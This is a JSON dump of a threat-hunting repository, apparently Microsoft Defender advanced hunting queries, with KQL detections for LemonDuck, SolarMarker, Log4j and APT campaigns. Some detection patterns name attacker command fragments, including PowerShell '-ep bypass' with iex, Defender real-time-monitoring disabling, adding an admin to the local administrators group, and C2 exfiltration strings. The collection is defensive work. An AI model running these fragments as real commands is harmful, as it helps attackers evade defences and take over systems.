    "content": "///////////////////////////////////////////////////////////////////\n// Dopplepaymer In-Memory Malware Implant\n//\n// This query identifies processes with command line launch strings\n// which match the pattern used in Dopplepaymer ransomware attacks.\n///////////////////////////////////////////////////////////////////\nDeviceProcessEvents\n| where Timestamp > ago(7d)\n| where ProcessCommandLine startswith \"-q -s {{\" and ProcessCommandLine contains \"}} -p \"\n"
  },
  {
    "path": "Campaigns/Dragon Fly.txt",
    "content": "// Original Sigma Rule: https://github.com/Neo23x0/sigma/blob/master/rules/apt/apt_dragonfly.yml\n// Questions via Twitter: @janvonkirchheim \nDeviceProcessEvents \n| where Timestamp > ago(7d)\n| where FileName =~ \"crackmapexec.exe\"\n| top 100 by Timestamp desc\n"
  },
  {
    "path": "Campaigns/Elise backdoor.txt",
    "content": "// Original Sigma Rule: https://github.com/Neo23x0/sigma/blob/master/rules/apt/apt_elise.yml\n// Questions via Twitter: @janvonkirchheim \nDeviceProcessEvents \n| where Timestamp > ago(7d)\n| where (FolderPath =~ @\"C:\\Windows\\SysWOW64\\cmd.exe\" and ProcessCommandLine has @\"\\Windows\\Caches\\NavShExt.dll\") \n     or (ProcessCommandLine endswith @\"\\AppData\\Roaming\\MICROS~1\\Windows\\Caches\\NavShExt.dll,Setting\")\n| top 100 by Timestamp desc\n"
  },
  {
    "path": "Campaigns/Equation Group C2 Communication.txt",
    "content": "// Original Sigma Rule: https://github.com/Neo23x0/sigma/blob/master/rules/apt/apt_equationgroup_c2.yml\n// Questions via Twitter: @janvonkirchheim \nDeviceProcessEvents \n| where Timestamp > ago(7d)\n| where (FolderPath endswith @\"\\rundll32.exe\" and ProcessCommandLine endswith \",dll_u\") \n        or ProcessCommandLine has \" -export dll_u \"\n| top 100 by Timestamp desc\n"
  },
  {
    "path": "Campaigns/Hurricane Panda activity.txt",
    "content": "// Original Sigma Rule: https://github.com/Neo23x0/sigma/blob/master/rules/apt/apt_hurricane_panda.yml\n// Questions via Twitter: @janvonkirchheim \nDeviceProcessEvents \n| where Timestamp > ago(7d)\n| where ProcessCommandLine endswith \" localgroup administrators admin /add\"\n     or ProcessCommandLine has @\"\\Win64.exe\"\n| top 100 by Timestamp desc\n"
  },
  {
    "path": "Campaigns/Judgement Panda exfil activity.txt",
    "content": "// Original Sigma Rule: https://github.com/Neo23x0/sigma/blob/master/rules/apt/apt_judgement_panda_gtr19.yml\n// Questions via Twitter: @janvonkirchheim\nDeviceProcessEvents\n| where Timestamp > ago(7d)\n| where ProcessCommandLine has @\"\\ldifde.exe -f -n \"\n     or ProcessCommandLine has @\"\\7za.exe a 1.7z \" \n     or ProcessCommandLine endswith @\" eprod.ldf\" \n     or ProcessCommandLine has @\"\\aaaa\\procdump64.exe\" \n     or ProcessCommandLine has @\"\\aaaa\\netsess.exe\" \n     or ProcessCommandLine has @\"\\aaaa\\7za.exe\" \n     or ProcessCommandLine has @\"copy .\\1.7z \\\" \n     or ProcessCommandLine has @\"copy \\client\\c$\\aaaa\\\" \n     or FolderPath == @\"C:\\Users\\Public\\7za.exe\"\n| top 100 by Timestamp desc\n"
  },
  {
    "path": "Campaigns/Jupyter-Solarmaker/deimos-component-execution.md",
    "content": "# Jupyter AKA SolarMarker\nJupyter, otherwise known as SolarMarker, is a malware family and cluster of components known for its info-stealing and backdoor capabilities that mainly proliferates through search engine optimization manipulation and malicious advertising in order to successfully encourage users to download malicious templates and documents. This malware has been popular since 2020 and currently is still active as of 2021. \n\n# Deimos malware component execution\n\nThe following query checks specifically for the AMSI Script Content, signaling that the Deimos malware is loading for execution. This is most often seen loaded by Jupyter, but may be in accompaniment of other malware or Jupyter variants as well. \n\n## Query\n```\nDeviceEvents   \n| where InitiatingProcessFileName =~ \"powershell.exe\"\n| where ActionType == \"AmsiScriptContent\"\n| where AdditionalFields endswith '[mArS.deiMos]::inteRaCt()\"}'\n| project InitiatingProcessParentFileName, InitiatingProcessFileName, InitiatingProcessCommandLine, ActionType, AdditionalFields\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection | v |  |\n| Command and control |  |  |\n| Exfiltration | v |  |\n| Impact | v |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component | v |  |\n| Ransomware |  |  |\n\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Campaigns/Jupyter-Solarmaker/evasive-powershell-executions.md",
    "content": "# Jupyter AKA SolarMarker\nJupyter, otherwise known as SolarMarker, is a malware family and cluster of components known for its info-stealing and backdoor capabilities that mainly proliferates through search engine optimization manipulation and malicious advertising in order to successfully encourage users to download malicious templates and documents. This malware has been popular since 2020 and currently is still active as of 2021. \n\n# Jupyter's evasive PowerShell executions\n\nThe following query checks for instances of Jupyter or SolarMarker malware that launch a lengthy PowerShell script, which in turn reads from encoded strings to parse the next malicious script. The initiating process name for this will almost always end in \".tmp\" and reflect the original downloaded executable name. \n\n## Query\n```\nDeviceProcessEvents\n| where FileName =~ \"powershell.exe\"\n| where ProcessCommandLine has_all\n(\"-command\",\"FromBase64String\",\"));remove-item $\",\".length;$j++){$\",\"$i++;if($i -ge $\",\"-bxor\",\"UTF8.GetString\")\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Campaigns/Jupyter-Solarmaker/evasive-powershell-strings.md",
    "content": "# Evasive PowerShell with uncommon read strings \n\nThis query searches for a string pattern detected in evasive PowerShell usage. Jupyter or SolarMarker will iterate on this pattern multiple times to read data and call additional processes. This query is not fully specific to Jupyter or SolarMarker, and will also return other malicious malware, but is unlikely to return false positives.\n\n## Query\n```\nDeviceProcessEvents\n| where FileName == \"powershell.exe\"\n| where ProcessCommandLine has_all(\"-ep bypass\",\"-command\",\"get-content\",\"remove-item\",\"iex\")\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion | v |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Campaigns/Jupyter-Solarmaker/successive-tk-domain-calls.md",
    "content": "# Jupyter AKA SolarMarker\nJupyter, otherwise known as SolarMarker, is a malware family and cluster of components known for its info-stealing and backdoor capabilities that mainly proliferates through search engine optimization manipulation and malicious advertising in order to successfully encourage users to download malicious templates and documents. This malware has been popular since 2020 and currently is still active as of 2021. \n\n# Jupyter's SEO Delivery via .TK domains\n\nThe following query checks for more than 5 instances of a .tk domain being contacted within a 10 minutes interval. This malware frequently will use anywhere from 5-10 .TK domains as well as other uncommon TLDs such as .blog, .site, .ml, and .gq., which will appear randomly generated and appear after a query to a hosting provider or advertising site from a search engine. Activity would be succeeded by the download of the malicious file. \n\n## Query\n```\nDeviceNetworkEvents\n| where RemoteUrl endswith \".tk\"\n| summarize make_set(RemoteUrl) by DeviceId,bin(Timestamp, 10m)\n| extend domainCount = array_length(set_RemoteUrl)\n| where  domainCount >= 5\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | v |  |\n| Execution |   |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Campaigns/LemonDuck/LemonDuck-competition-killer.md",
    "content": "# LemonDuck competition killer script execution\nLemonDuck is an actively updated and robust malware primarily known for its botnet and cryptocurrency mining objectives. First discovered in 2019, LemonDuck has since adopted more sophisticated behavior and escalated its operations in 2021. Today, beyond using resources for its traditional bot and mining activities, LemonDuck steals credentials, removes security controls, spreads via emails, moves laterally, and ultimately drops more tools for human-operated activity.\n\n## Query\nThis query looks for instances of the LemonDuck component KR.Bin, which is intended to kill competition prior to making the installation and persistence of the malware concrete. The killer script used is based off historical versions from 2018 and earlier, which has grown over time to include scheduled task and service names of various botnets, malware, and other competing services. The version currently in use by LemonDuck has approximately 40-60 scheduled task names. The upper maximum in this query can be modified and adjusted to include time bounding. \n```\nDeviceProcessEvents\n| where ProcessCommandLine has_all(\"schtasks.exe\",\"/Delete\",\"/TN\",\"/F\")\n| summarize make_set(ProcessCommandLine) by DeviceId\n| extend DeleteVolume = array_length(set_ProcessCommandLine)\n| where set_ProcessCommandLine has_any(\"Mysa\",\"Sorry\",\"Oracle Java Update\",\"ok\")\n| where DeleteVolume >= 40 and DeleteVolume <= 80\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |   |  |\n| Execution | v |  |\n| Persistence | v |  |\n| Privilege escalation |  |  |\n| Defense evasion | v |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |   |  |\n| Collection |  |  |\n| Command and control |   |  |\n| Exfiltration |  |  |\n| Impact | v |  |\n| Vulnerability |   |  |\n| Exploit |   |  |\n| Misconfiguration |  |  |\n| Malware, component | v |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/LemonDuck/LemonDuck-component-download-structure.md",
    "content": "# LemonDuck component download structure\nLemonDuck is an actively updated and robust malware primarily known for its botnet and cryptocurrency mining objectives. First discovered in 2019, LemonDuck has since adopted more sophisticated behavior and escalated its operations in 2021. Today, beyond using resources for its traditional bot and mining activities, LemonDuck steals credentials, removes security controls, spreads via emails, moves laterally, and ultimately drops more tools for human-operated activity.\n\n## Query\nThis query looks for any instance of the current version of the LemonDuck component collection commands, even if the component names changes. This structure has and may continue to change over time in order to obfuscate detection. This will surface behavior that will collect mining, secondary malware and lateral movement executables from external sites. This query will typically return downloads of files such as \"if.bin\" or \"kr.bin\" or additional mining components.\n```\nDeviceProcessEvents\n| where InitiatingProcessFileName =~ \"cmd.exe\"\n| where InitiatingProcessCommandLine has_all(\"echo\",\"tmp+\",\".bin\",\"gmd5\",\"downloaddata\",\"down_url\")\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |   |  |\n| Execution |   |  |\n| Persistence |   |  |\n| Privilege escalation |  |  |\n| Defense evasion | v |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |   |  |\n| Collection |  |  |\n| Command and control | v  |  |\n| Exfiltration |  |  |\n| Impact | v |  |\n| Vulnerability |   |  |\n| Exploit |   |  |\n| Misconfiguration |  |  |\n| Malware, component | v |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/LemonDuck/LemonDuck-component-names.md",
    "content": "# LemonDuck common external component names\nLemonDuck is an actively updated and robust malware primarily known for its botnet and cryptocurrency mining objectives. First discovered in 2019, LemonDuck has since adopted more sophisticated behavior and escalated its operations in 2021. Today, beyond using resources for its traditional bot and mining activities, LemonDuck steals credentials, removes security controls, spreads via emails, moves laterally, and ultimately drops more tools for human-operated activity.\n\n## Query\nThis query looks for instances of the callback actions which attempt to obfuscate detection while downloading supporting scripts such as those that enable the “Killer” and “Infection” functions for the malware as well as the mining components and potential secondary functions. This query only encompasses the most common component names.\n```\nDeviceProcessEvents\n| where InitiatingProcessFileName =~ \"cmd.exe\"\n| where InitiatingProcessCommandLine has_any(\"kr.bin\",\"if.bin\",\"m6.bin\")\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |   |  |\n| Execution | v |  |\n| Persistence | v |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement | v |  |\n| Collection |  |  |\n| Command and control |   |  |\n| Exfiltration |  |  |\n| Impact | v |  |\n| Vulnerability | v |  |\n| Exploit |   |  |\n| Misconfiguration |  |  |\n| Malware, component | v |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/LemonDuck/LemonDuck-control-structure.md",
    "content": "# LemonDuck command-and-control contact structure\nLemonDuck is an actively updated and robust malware primarily known for its botnet and cryptocurrency mining objectives. First discovered in 2019, LemonDuck has since adopted more sophisticated behavior and escalated its operations in 2021. Today, beyond using resources for its traditional bot and mining activities, LemonDuck steals credentials, removes security controls, spreads via emails, moves laterally, and ultimately drops more tools for human-operated activity.\n\n## Query\nThis query looks for the unique method of contacting the command-and-control (C2) infrastructure for LemonDuck in order to register updates from the bot client or exfiltrate data. This structure has changed over time and this most recent iteration is active as of this report and from June-July 2021.\n```\nDeviceNetworkEvents\n| where InitiatingProcessFileName =~ \"powershell.exe\"\n| where InitiatingProcessCommandLine has_all(\"Exponent=\",\"FromBase64String\",\"$url+\")\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |   |  |\n| Execution |   |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |   |  |\n| Collection |  |  |\n| Command and control | v |  |\n| Exfiltration | v |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/LemonDuck/LemonDuck-defender-exclusions.md",
    "content": "# LemonDuck Microsoft Defender drive exclusion tampering\nLemonDuck is an actively updated and robust malware primarily known for its botnet and cryptocurrency mining objectives. First discovered in 2019, LemonDuck has since adopted more sophisticated behavior and escalated its operations in 2021. Today, beyond using resources for its traditional bot and mining activities, LemonDuck steals credentials, removes security controls, spreads via emails, moves laterally, and ultimately drops more tools for human-operated activity.\n\n## Query\nThis query looks for a command line event where LemonDuck or other like malware might attempt to modify Defender by disabling real-time monitoring functionality or adding entire drive letters to the exclusion criteria. The exclusion additions will often succeed even if tamper protection is enabled due to the design of the application. Custom alerts could be created in an environment for particular drive letters common in the environment. \n```\nDeviceProcessEvents  \n| where InitiatingProcessCommandLine has_all (\"Set-MpPreference\", \"DisableRealtimeMonitoring\", \"Add-MpPreference\", \"ExclusionProcess\")  \n| project ProcessCommandLine, InitiatingProcessCommandLine, DeviceId, Timestamp  \n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |   |  |\n| Execution |   |  |\n| Persistence |   |  |\n| Privilege escalation |  |  |\n| Defense evasion | v |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |   |  |\n| Collection |  |  |\n| Command and control |   |  |\n| Exfiltration |  |  |\n| Impact |   |  |\n| Vulnerability |   |  |\n| Exploit |   |  |\n| Misconfiguration |  |  |\n| Malware, component |   |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/LemonDuck/LemonDuck-email-subjects.md",
    "content": "# LemonDuck Email Subjects\nLemonDuck is an actively updated and robust malware primarily known for its botnet and cryptocurrency mining objectives. First discovered in 2019, LemonDuck has since adopted more sophisticated behavior and escalated its operations in 2021. Today, beyond using resources for its traditional bot and mining activities, LemonDuck steals credentials, removes security controls, spreads via emails, moves laterally, and ultimately drops more tools for human-operated activity.\n\n## Query\nThis query looks for subject lines that are present from 2020 to 2021 in dropped scripts that attach malicious LemonDuck samples to emails and mail it to contacts of the mailboxes on impacted machines. Additionally, checks if Attachments are present in the mailbox. General attachment types to check for at present are .doc, .zip or .js, though this could be subject to change as well as the subjects themselves.\n```\nEmailEvents\n| where Subject in ('The Truth of COVID-19','COVID-19 nCov Special info WHO','HALTH ADVISORY:CORONA VIRUS',\n'WTF','What the fcuk','good bye','farewell letter','broken file','This is your order?')\n| where AttachmentCount >= 1\n```\n\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | v |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement | v |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/LemonDuck/LemonDuck-id-generation.md",
    "content": "# LemonDuck command-and-control ID generation\nLemonDuck is an actively updated and robust malware primarily known for its botnet and cryptocurrency mining objectives. First discovered in 2019, LemonDuck has since adopted more sophisticated behavior and escalated its operations in 2021. Today, beyond using resources for its traditional bot and mining activities, LemonDuck steals credentials, removes security controls, spreads via emails, moves laterally, and ultimately drops more tools for human-operated activity.\n\n## Query\nThis query checks for the current method of exfiltrating basic component information to LemonDuck command and control servers. In previous iterations other methods were used and currently this logic is included at the end of callout to the server to identify the client. \n```\nDeviceNetworkEvents\n| where InitiatingProcessFileName =~ \"powershell.exe\"\n| where InitiatingProcessCommandLine endswith \"(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |   |  |\n| Execution |   |  |\n| Persistence |   |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement | v |  |\n| Collection |  |  |\n| Command and control | v |  |\n| Exfiltration |  |  |\n| Impact |   |  |\n| Vulnerability |   |  |\n| Exploit |   |  |\n| Misconfiguration |  |  |\n| Malware, component |   |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/LemonDuck/LemonDuck-registration-function.md",
    "content": "# LemonDuck botnet registration functions\nLemonDuck is an actively updated and robust malware primarily known for its botnet and cryptocurrency mining objectives. First discovered in 2019, LemonDuck has since adopted more sophisticated behavior and escalated its operations in 2021. Today, beyond using resources for its traditional bot and mining activities, LemonDuck steals credentials, removes security controls, spreads via emails, moves laterally, and ultimately drops more tools for human-operated activity.\n\n## Query\nThis query looks for instances of function runs with name “SIEX”, which within the Lemon Duck initializing scripts is used to assign a specific user-agent for reporting back to command-and-control infrastructure with. This query should be accompanied by additional surrounding logs showing successful downloads from component sites.\n```\nDeviceEvents\n| where ActionType == \"PowerShellCommand\"\n| where AdditionalFields =~ \"{\\\"Command\\\":\\\"SIEX\\\"}\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |   |  |\n| Execution | v |  |\n| Persistence | v |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement | v |  |\n| Collection |  |  |\n| Command and control | v |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/Log4J/Alerts related to Log4j vulnerability.md",
    "content": "# Alerts related to Log4j vulnerability\nMicrosoft has observed attackers exploiting vulnerabilities associated with Log4J. \n\n## Query\nThis query looks for alerts related to the Log4J vulnerability. Devices with these alerts should be investigated for potential malicious activity.\n```\nAlertInfo\n| where Title in~('Suspicious script launched',\n'Exploitation attempt against Log4j (CVE-2021-44228)',\n'Suspicious process executed by a network service',\n'Possible target of Log4j exploitation (CVE-2021-44228)',\n'Possible target of Log4j exploitation',\n'Possible Log4j exploitation',\n'Network connection seen in CVE-2021-44228 exploitation',\n'Log4j exploitation detected',\n'Possible exploitation of CVE-2021-44228',\n'Possible target of Log4j vulnerability (CVE-2021-44228) scanning',\n'Possible source of Log4j exploitation',\n'Log4j exploitation attempt via cloud application', // Previously titled Exploitation attempt against Log4j\n'Log4j exploitation attempt via email' // Previously titled Log4j Exploitation Attempt\n)\n```\n\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability | v |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/Log4J/Devices with Log4j vulnerability alerts and additional other alert related context.md",
    "content": "# Devices with Log4j vulnerability alerts and additional other alert related context\nMicrosoft has observed threat actors exploiting vulnerabilities associated with Log4J. \n\n## Query\nThis query looks for devices that have alerts for suspected Log4J vulnerability explotation, and identifies other alerts that have been observed on the device within a given timeframe.\n```\n// Get any devices with Log4J related Alert Activity\nlet DevicesLog4JAlerts = AlertInfo\n| where Title in~('Suspicious script launched',\n'Exploitation attempt against Log4j (CVE-2021-44228)',\n'Suspicious process executed by a network service',\n'Possible target of Log4j exploitation (CVE-2021-44228)',\n'Possible target of Log4j exploitation',\n'Possible Log4j exploitation',\n'Network connection seen in CVE-2021-44228 exploitation',\n'Log4j exploitation detected',\n'Possible exploitation of CVE-2021-44228',\n'Possible target of Log4j vulnerability (CVE-2021-44228) scanning',\n'Possible source of Log4j exploitation'\n'Log4j exploitation attempt via cloud application', // Previously titled Exploitation attempt against Log4j\n'Log4j exploitation attempt via email' // Previously titled Log4j Exploitation Attempt\n)\n// Join in evidence information\n| join AlertEvidence on AlertId\n| where DeviceId != \"\"\n| summarize by DeviceId, Title;\n// Get additional alert activity for each device\nAlertEvidence\n| where DeviceId in(DevicesLog4JAlerts)\n// Add additional info\n| join kind=leftouter AlertInfo on AlertId\n| summarize DeviceAlerts = make_set(Title), AlertIDs = make_set(AlertId) by DeviceId, bin(Timestamp, 1d)\n```\n\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability | v |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/Log4J/Suspicious JScript staging comment.md",
    "content": "# Suspicious JScript staging comment\nMicrosoft has observed attackers who have gained entry to an environment via the Log4J vulnerability utilizing identifiable strings in PowerShell commands.\n\n## Query\nThis query identifies a unique string present in malicious PowerShell commands attributed to threat actors exploiting vulnerable Log4j applications. These events warrant further investigation to determine if they are in fact related to a vulnerable Log4j application. \n```\nDeviceProcessEvents\n| where FileName =~ \"powershell.exe\"\n| where ProcessCommandLine has \"VMBlastSG\"\n```\n\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability | v |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/Log4J/Suspicious PowerShell curl flags.md",
    "content": "# Suspicious PowerShell curl flags\nMicrosoft has observed attackers who have gained entry to an environment via the Log4J vulnerability utilizing uncommon PowerShell flags to communicate to command-and-control infrastructure. \n\n## Query\nThis query identifies unique, uncommon PowerShell flags used by curl to post the results of an attacker-executed command back to the command-and-control infrastructure. If the event is a true positive, the contents of the “Body” argument are Base64-encoded results from an attacker-issued comment. These events warrant further investigation to determine if they are in fact related to a vulnerable Log4j application. \n```\nDeviceProcessEvents\n| where FileName =~ \"powershell.exe\"\n| where ProcessCommandLine has_all(\"-met\", \"POST\", \"-Body\")\n```\n\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability | v |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/Log4J/Suspicious process event creation from VMWare Horizon TomcatService.md",
    "content": "# Suspicious process event creation from VMWare Horizon TomcatService\nMicrosoft has observed attackers who have gained entry to an environment via the Log4J vulnerability utilizing the ws_TomcatService.exe process to launch malicious processes. \n\n## Query\nThis query identifies anomalous child processes from the ws_TomcatService.exe process associated with the exploitation of the Log4j vulnerability in VMWare Horizon installations. These events warrant further investigation to determine if they are in fact related to a vulnerable Log4j application. \n```\nDeviceProcessEvents\n| where InitiatingProcessFileName has \"ws_TomcatService.exe\"\n| where FileName != \"repadmin.exe\"\n```\n\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and 